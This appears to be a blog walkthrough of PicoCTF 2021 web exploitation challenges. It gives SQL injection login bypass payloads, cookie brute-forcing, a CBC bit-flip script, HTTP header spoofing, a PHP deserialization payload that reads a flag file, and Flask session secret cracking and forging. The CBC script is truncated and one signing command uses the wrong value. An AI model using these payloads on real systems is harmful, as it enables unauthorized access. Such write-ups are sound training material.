PicoCTF 2021 Web Exploitation Challenges Walkthrough
Last updated
Last updated
Hey Itβs me again, Ahmed Reda (@ 0xHunterr)
this time we will get a quick walkthrough for PicoCTF 2021 so letβs get started
just before we start in 2021 challenges, there is a single challenge for the picoCTF 2020 Mini-Competition letβs solve it first and then continue to 2021:
the right side is the challenge, left side is the filter
the challenge says to log in as admin, so when I find a login page the first thing to try is SQLI , and the filter says the or filtered, so I tried admin'--
and it worked
round 2 filter
now it filters the comment, I tried other ways to comment things like adminβ#
but didnβt work so I tried adminβ/*
and this time it worked
round 3 filter
it doesnβt filter anything of our previous payload so I guess it will work also in this caseadminβ/*
this time the admin is filtered so we will try to bypass it using concatenation like adm'||'in'/*
it assumes we worked with union attack
but we didnβt so we can use the same payload adm'||'in'/*
and here we go
picoCTF{y0u_m4d3_1t_d846125f7bdbf4d6e89cbc5edb6fa739}
the challenge provides us with the following website
when we choose any color it sends a request with a different HTTP method (GET, POST)
the challenge sounds to be about the HTTP methods from its name and how the website handles the request so letβs try to intercept it and change the request method to HEAD as the name of the challenge
here we go picoCTF{r3j3ct_th3_du4l1ty_cca66bd3}
it was quick
we provided with this website, takes from the name of a cookie and gives u a small sentence about it
if we check the cookies u will notice that each cookie has a different numerical value in the HTTP request in a cookie param named "name"
so Bruteforce as numbers as we can till we find our flag cookie,
so we will use Burp Intruder to automate this simple task for us, it will be sniper attack, with a numbers payloads list we will try 80 first, and donβt forget to set the Grep match to picoCTF{
to find the flag easily
and here we go picoCTF{3v3ry1_l0v3s_c00k135_064663be}
the website :
it mentions the uses of HTML, CSS, and JS so letβs check the source code
Scavenger Hunt
How do you like my website?
I used these to make this site: HTML CSS JS (JavaScript)
we can find a comment for us with the first part of the flag picoCTF{t
and we notice there are also CSS and JS files included, letβs check them
div.container { width: 100%; }
header { background-color: black; padding: 1em; color: white; clear: left; text-align: center; }
body { font-family: Roboto; }
h1 { color: white; }
p { font-family: "Open Sans"; }
.tablink { background-color: #555; color: white; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; font-size: 17px; width: 50%; }
.tablink:hover { background-color: #777; }
.tabcontent { color: #111; display: none; padding: 50px; text-align: center; }
#tabintro { background-color: #ccc; } #tababout { background-color: #ccc; }
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
we find the second part of the flag in a comment at the end of the page h4ts_4_l0
, letβs check the JS file
function openTab(tabName,elmnt,color) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablink"); for (i = 0; i < tablinks.length; i++) { tablinks[i].style.backgroundColor = ""; } document.getElementById(tabName).style.display = "block"; if(elmnt.style != null) { elmnt.style.backgroundColor = color; } }
window.onload = function() { openTab('tabintro', this, '#222'); }
/* How can I keep Google from indexing my website? */
we find a comment that says βHow can I keep Google from indexing my website?β, itβs a hint about the famous file βrobots.txtβ Letβs check it
we got the third part t_0f_pl4c
and a new hint that says βI think this is an Apache serverβ¦ can you Access the next flag?β letβs do some search
.htaccess files provide a way to make configuration changes on a per-directory basis.
Part4: 3s_2_lO0k
and a new hint βI love making websites on my Mac, I can Store a lot of information there. β we can notice that βStoreβ word is capitalized, In Macs, a .DS_Store
file stores the configurations
and finally with the final part : _f7ce8828}
after concatenating all parts: picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_f7ce8828}
Couldnβt solve it on my first try
anyway as itβs a web challenge says assembly is required maybe itβs about the Web Assembly (Wasm), in situations like this I prefer go to Inspector and sources to see the whole picture and files the website uses, so we got this JS file after formatting it
co**nst _0x402c = [ 'value', '2wfTpTR', 'instantiate', '275341bEPcme', 'innerHTML', '1195047NznhZg', '1qfevql', 'input', '1699808QuoWhA', 'Correct!', 'check_flag', 'Incorrect!', './JIFxzHyW8W', '23SMpAuA', '802698XOMSrr', 'charCodeAt', '474547vVoGDO', 'getElementById', 'instance', 'copy_char', '43591XxcWUl', '504454llVtzW', 'arrayBuffer/', '2NIQmVj', 'result' ]; const _0x4e0e = function (_0x553839, _0x53c021) { _0x553839 = _0x553839 - 470; let _0x402c6f = _0x402c[_0x553839]; return _0x402c6f; }; ( function (_0x76dd13, _0x3dfcae) { const _0x371ac6 = _0x4e0e; while (!![]) { try { const _0x478583 = - parseInt(_0x371ac6(491)) + parseInt(_0x371ac6(493)) + - parseInt(_0x371ac6(475)) * - parseInt(_0x371ac6(473)) + - parseInt(_0x371ac6(482)) * - parseInt(_0x371ac6(483)) + - parseInt(_0x371ac6(478)) * parseInt(_0x371ac6(480)) + parseInt(_0x371ac6(472)) * parseInt(_0x371ac6(490)) + - parseInt(_0x371ac6(485)); if (_0x478583 === _0x3dfcae) break; else _0x76dd13'push'; } catch (_0x41d31a) { _0x76dd13'push'; } } }(_0x402c, 627907) ); let exports; ( async() => { const _0x48c3be = _0x4e0e; let _0x5f0229 = await fetch(_0x48c3be(489)), _0x1d99e9 = await WebAssembly[_0x48c3be(479)](await _0x5f0229_0x48c3be(474)), _0x1f8628 = _0x1d99e9[_0x48c3be(470)]; exports = _0x1f8628['exports']; } ) (); function onButtonPress() { const _0xa80748 = _0x4e0e; let _0x3761f8 = document'getElementById' [_0xa80748(477)]; for (let _0x16c626 = 0; _0x16c626 < _0x3761f8['length']; _0x16c626++) { exports[_0xa80748(471)](_0x3761f8_0xa80748(492), _0x16c626); } exports['copy_char'](0, _0x3761f8['length']), exports_0xa80748(487) == 1 ? document_0xa80748(494) [_0xa80748(481)] = _0xa80748(486) : document_0xa80748(494) [_0xa80748(481)] = _0xa80748(488); }
Itβs obfuscated code, I couldnβt get anything from it but it sounds like an array that has a lot of random values, and the code accesses it somehow with offset, but we can notice a wasm folder sounds Interesting
line 52 in the code shows that itβs waiting for the execution of this file, when we open it we see some low-level code if we look at the bottom of it we will find our flag!
this file is about the logic of comparing our input with the original flag but the flag is hardcoded
picoCTF{8857462f9e30faae4d037e5e25fee1ce}
encrypted cookies then
go to our cookie editor and see the cookie will find it ends with = sign it gives me a hint that itβs base64 encoded WElrYWV0enRCdlg3RkJQRnVXZXYxQVVWRjlsUXR4NEpvYyt1M1UwWm1FaXpkdzJUOUdVdVBrYnY4ZTFzWndxVzVidE8vS3BpMnNESnhLU3JXS1d5Wmk1cE1yTjAwZFM2RkViZEpWcDFtZXpUME9ZTXcxb0grSEU0NU9reTZwemg=
but no it seems to be encrypted not just encoded
so looking at the challenge hints, I found a Wiki link about Homomorphic encryption, after trying a lot of random decryption and decoding methods, I couldn't solve it
starting to search for someoneβs solution, found this one it contains some useful resources like (CBC, The Bit Flipping attack, and Python Script)
in summary, it uses Homomorphic encryption which allows u to encrypt data on the basis of its plain text, there are many modes of this encryption algorithm one of them is CBC which basically encrypts the plain text by XORing it with the previous cipher text so if there any byte changed in the previous cipher text it will only affect the corresponding pos in the current plain text u can find more details here
so we will try to change every byte in our cookie till we get the flag since we donβt know the target byte, and this is what the Python code does
import requests import base64 from tqdm import tqdm
ADDRESS = "http://mercury.picoctf.net:15614/"
s = requests.Session() s.get(ADDRESS) cookie = s.cookies["auth_name"]
decoded_cookie = base64.b64decode(cookie) raw_cookie = base64.b64decode(decoded_cookie)
def exploit():
# Loop over all the bytes in the cookie.
for position_idx in tqdm(range(0, len(raw_cookie))):
# Loop over all the bits in the current byte at position_idx
.
for bit_idx in range(0, 8):
# Construct the current guess.
# - All bytes before the current position_idx
are left alone.
# - The byte in the position_idx
has the bit at position bit_idx
flipped.
# This is done by XORing the byte with another byte where all bits are zero
# except for the bit in position bit_idx
. The code 1 << bit_idx
# creates a byte by shifting the bit 1
to the left bit_idx
times. Thus,
# the XOR operation will flip the bit in position bit_idx
.
# - All bytes after the current position_idx
are left alone.
bitflip_guess = (
raw_cookie[0:position_idx]
+ ((raw_cookie[position_idx] ^ (1 << bit_idx)).to_bytes(1, "big"))
+ raw_cookie[position_idx + 1 :]
)
exploit()
donβt forget to install tdqm module before running it, u can download it using: pip3 install tdqm
and we got our flag
picoCTF{cO0ki3s_yum_a9a19fa6}
The challenge states that we need to essentially upload two PDFs with the same hashes, but also two PDFs that are not the same file
A collision occurs when two files are fundamentally different, but both return the same hash. This can be in algorithms such as md5 due to its relatively small keyspace,
so after some research found this script that does that job I also had to place pdf1.bin and pdf2.bin in my working directory it needs these binaries when it runs. and installs mutools
using sudo apt-get install mupdf-tools
and creating a file called dummy.pdf
in my working directory, and making two PDFs files and compressing them using any online tool and finally, we can run the script passing our two compressed PDFs as arguments
picoCTF{c0ngr4ts_u_r_1nv1t3d_73b0c8ad}
we got our flag and the backend code of the page
I came here to play not to overthink
the provided website
nothing interesting in the source code, but it mentions the Picobrowser again itβs similar to a challenge we solved earlier in Pico 2019 called Picobrowser u can check it, so anyway letβs send a basic curl request and see
curl http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"
βcolor:redβ>Only people who use the official PicoBrowser are allowed on this site!
letβs spoof the user agent
header as we did before
curl -H "user-agent: picobrowser " http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"
this time talking about coming from another site so itβs about referer
header
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"
Sorry, this site only worked in 2018.
spoofing the date
header
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"
I don't trust users who can be tracked
after some search found the DNT
(Do Not Track)header and assigned value 1 to be not tracked on the website
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"
This website is only for people from Sweden.
we need Sweden IP u can get one from here
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63"| grep "<h3.>.</h3>"
You're in Sweden but you don't speak Swedish?
talking about language so letβs spoof the accept language
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "<h3.>.</h3>"
What can I say except, you are welcome
Guess all is good now lets Grep for the flag
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "picoCTF{"
the flag : picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}
same as before when we press the submit button it triggers the onButtonPress()
function
const _0x6d8f = [ 'copy_char', 'value', '207aLjBod', '1301420SaUSqf', '233ZRpipt', '2224QffgXU', 'check_flag', '408533hsoVYx', 'instance', '278338GVFUrH', 'Correct!', '549933ZVjkwI', 'innerHTML', 'charCodeAt', './aD8SvhyVkb', 'result', '977AzKzwq', 'Incorrect!', 'exports', 'length', 'getElementById', '1jIrMBu', 'input', '615361geljRK' ]; const _0x5c00 = function (_0x58505a, _0x4d6e6c) { _0x58505a = _0x58505a - 195; let _0x6d8fc4 = _0x6d8f[_0x58505a]; return _0x6d8fc4; }; ( function (_0x12fd07, _0x4e9d05) { const _0x4f7b75 = _0x5c00; while (!![]) { try { const _0x1bb902 = - parseInt(_0x4f7b75(200)) * - parseInt(_0x4f7b75(201)) + - parseInt(_0x4f7b75(205)) + parseInt(_0x4f7b75(207)) + parseInt(_0x4f7b75(195)) + - parseInt(_0x4f7b75(198)) * parseInt(_0x4f7b75(212)) + parseInt(_0x4f7b75(203)) + - parseInt(_0x4f7b75(217)) * parseInt(_0x4f7b75(199)); if (_0x1bb902 === _0x4e9d05) break; else _0x12fd07'push'; } catch (_0x4f8a) { _0x12fd07'push'; } } }(_0x6d8f, 310022) ); let exports; ( async() => { const _0x835967 = _0x5c00; let _0x1adb5f = await fetch(_0x835967(210)), _0x355961 = await WebAssembly['instantiate'](await _0x1adb5f'arrayBuffer'), _0x5c0ffa = _0x355961[_0x835967(204)]; exports = _0x5c0ffa[_0x835967(214)]; } ) (); function onButtonPress() { const _0x50ea62 = _0x5c00; let _0x5f4170 = document_0x50ea62(216) [_0x50ea62(197)]; for (let _0x19d3ca = 0; _0x19d3ca < _0x5f4170['length']; _0x19d3ca++) { exports[_0x50ea62(196)](_0x5f4170_0x50ea62(209), _0x19d3ca); } exports['copy_char'](0, _0x5f4170[_0x50ea62(215)]), exports_0x50ea62(202) == 1 ? document'getElementById' [_0x50ea62(208)] = _0x50ea62(206) : document_0x50ea62(216) ['innerHTML'] = _0x50ea62(213); }
and the WASM file is waiting for our Input, I go check if it compares with any text
and found this, it sounds like the flag but this time, it is encoded or something, I tried the base64 and Hex but got nothing, after a lot of trying used Magic recipe with restrict mode on and pico as regex and got something interesting here
from CyberChef Recipe description, the website seems to be getting our input in HEX value (ASCII) and XORing it with 8 to compare with the encoded flag
to enhance it I tried to play with depth but no effect so I copied the random number and add to the flag format which is picoCTF{}
and it worked!
picoCTF{6f3bd18312ebf1e48f12282200948876}
This challenge got me confused when I saw the hint I thought it was a Directory listing Vuln or sort of it but I tried many ways and got nothing
so started to look for the /robots.txt
and found something Interesting :
/robots.txt
it disallows the admin.phps
so I tried to visit it but itβs not found, thereβs something more important here, I noticed that the file with the extension phps
not php
which is different
The PHPS file type is primarily associated with βPHP Sourceβ by The PHP Group. Generally, PHP files will get interpreted by the Web server and PHP executable, and you will never see the code behind the PHP file. If you make the file extension.PHPS, a properly-configured server will output a color-formated version of the source instead of the HTML that would normally be generated (not all servers)
so itβs a hint that we can read the backend source code using phps
, all we need to do now is to find the files, As the default it usually has /Index.php
you can also run directory robust tools like Gobuster to get all the files
gobuster dir -u http://mercury.picoctf.net:3449/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t30 --timeout 60s
letβs go to /Index.phps
at line 10 and 11
is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '
Invalid Login.
'; } } ?>
Sign In
Username
we can find line 10 there is a cookie named login
and the value of it is a variable named $perm_res
getting serialized and encoded so it seems to be Insecure deserialization you can read about it here or here so let's see the content of /authentication.php
and cookie.php
username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?> log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?>
Go back to login
we can spot the unserialize
function at the authentication.phps
we know that there is an access_log
object and we know that this gets instantiated with the call to the file access.log
on the server
So we can store a serialized access_log
object in the login
cookie with the log_file
set to ../flag
(itβs the location of our flag we get it from the hint)instead of access.log
file so it will print the content of it.
we can write the serialized object manual just by knowing its syntax it will be like O:10:βaccess_logβ:1:{s:8:βlog_fileβ;s:7:β../flagβ;}
and then encode it with base64 TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
and then go to authentication.php
and add the login
cookie with our encoded payload and refresh
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}
we provided with server code which is Flask as mentioned in the description:
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(name) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)
@app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
@app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
@app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp
@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
if name == "main": app.run()
the provided website and the cookie
it looks like a JWT anyway, a little search for the basic info about flask sessions and cookies would help, I found this useful, and this one and got this useful info from the medium article
Itβs Flask Session Cookie JWT?
NO, I know that they seem to have the same syntax, but it is not the same, the big doubt is because jwt.io can decrypt the flask session, however once decrypted you can see that the syntax is different. The big difference in the use of JWT to Flask, is that Flask cookies store the signature and user information on the client side of the cookie. In JWT you can choose where you want to store it.
so thatβs why we get garbage when try decoding it in jwt.io
so we can find at Hacktricks a good way and tool for these cookies itβs flask unsign so now we know how to deal with this cookie and what is it actually
going back to our source code we need to look for any secret keys, The appβs secret key is used to sign a flask session cookie so that it cannot be modified, we can see that the appβs secret key is set to a random cookie name :
app = Flask(name) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)
but we know that the secret will be one of this list, so we can use this to try them all
continuing in the source code we find that thereβs a flag function part :
@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
shows that it makes a check on the session cookie with the key very_auth
and checks to see if the value is equal to admin
.
So, we need to store {"very_auth": "admin"}
in the cookie.
now all we need to do is to extract the secret key by brute-forcing it using the flask unsign
tool, letβs take the list of the cookie names and put it in a file, and pass it to the tool to brute-force our key here is the list put in a file and call it secrets
or whatever u want
snickerdoodle chocolate chip oatmeal raisin gingersnap shortbread peanut butter whoopie pie sugar molasses kiss biscotti butter spritz snowball drop thumbprint pinwheel wafer macaroon fortune crinkle icebox gingerbread tassie lebkuchenm acaron black and white white chocolate macadamia
and then we run our tool
flask-unsign --unsign --wordlist secrets --cookie 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZYmNtw.orbE-UiLGLxbpKzB0SI_yCBUhcA'
successfully found in the fortune, now letβs create our valid cookie for the admin and sign it using unsign flask
flask-unsign -s -c "{'very_auth': 'snickerdoodle'}" -S fortune
we got the flag: picoCTF{pwn_4ll_th3_cook1E5_743c20eb}
this time it filtered almost everything, we can bypass the admin filter by the concatenation we did before ad'||'min'
I found this Portswigger cheatsheet useful but after many tries nothing worked for me to comment on the password field, I looked for someoneβs solution and found this pretty one it used the null byte to terminate the query I used Burp Suite to send these data adβ||βminβ%00
picoCTF{0n3_m0r3_t1m3_86f3e77f3c5a076866a0fdb3b29c52fd}
same filters but this time there is a character limit, the last payload will work here adβ||βminβ%00